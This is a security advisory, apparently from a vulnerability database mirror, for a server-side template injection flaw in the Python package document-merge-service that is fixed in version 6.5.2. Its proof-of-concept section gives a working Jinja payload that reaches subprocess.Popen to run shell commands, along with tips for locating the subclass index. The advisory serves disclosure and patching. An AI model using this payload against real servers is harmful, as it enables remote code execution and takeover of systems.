document-merge-service vulnerable to Remote Code Execution via Server-Side Template Injection
Impact
What kind of vulnerability is it? Who is impacted?
A remote code execution (RCE) via server-side template injection (SSTI) allows for user supplied code to be executed in the server's context where it is executed as the document-merge-server user with the UID 901 thus giving an attacker considerable control over the container.
Patches
Has the problem been patched? What versions should users upgrade to?
It has been patched in v6.5.2
References
Are there any links users can visit to find out more?
POC
Add the following to a document, upload and render it:
{% if PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202] %}
ls -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("ls -a", shell=True, stdout=-1).communicate()[0].strip() }}
whoami: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("whoami", shell=True, stdout=-1).communicate()[0].strip() }}
uname -a:
{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("uname -a", shell=True, stdout=-1).communicate()[0].strip() }}
{% endif %}The index might be different, so to debug this first render a template with {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__() }} and then get the index of subprocess.Popen and replace 202 with that.
Software afectado
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| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Python (PyPI) | document-merge-service | < 6.5.2 | 6.5.2 |
Referencias
- https://github.com/adfinis/document-merge-service/security/advisories/GHSA-v5gf-r78h-55q6
- https://nvd.nist.gov/vuln/detail/CVE-2024-37301
- https://github.com/adfinis/document-merge-service/commit/a1edd39d33d1bdf75c31ea01c317547be90ca074
- https://github.com/adfinis/document-merge-service
- https://pypi.org/project/document-merge-service
- https://github.com/advisories/GHSA-v5gf-r78h-55q6
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H- Debilidad (CWE)
CWE-1336- Plataforma
- Python (PyPI)
- Paquete
document-merge-service- Publicada
- 11.06.2024
- Actualizado
- 11.10.2026 13:18
Fuentes y licencias
OSV / GitHub Advisory Database - PYSEC-2026-1314 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-v5gf-r78h-55q6 - CC BY 4.0
Historial de vulnerabilidades: document-merge-service
Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 2
- Primera → última
- 06.2024 08.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Alta 2
Divulgaciones por año
- 2024: 1
- 2025: 0
- 2026: 1
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document-merge-service vulnerable to Remote Code Execution via Server-Side Template Injection esta entrada
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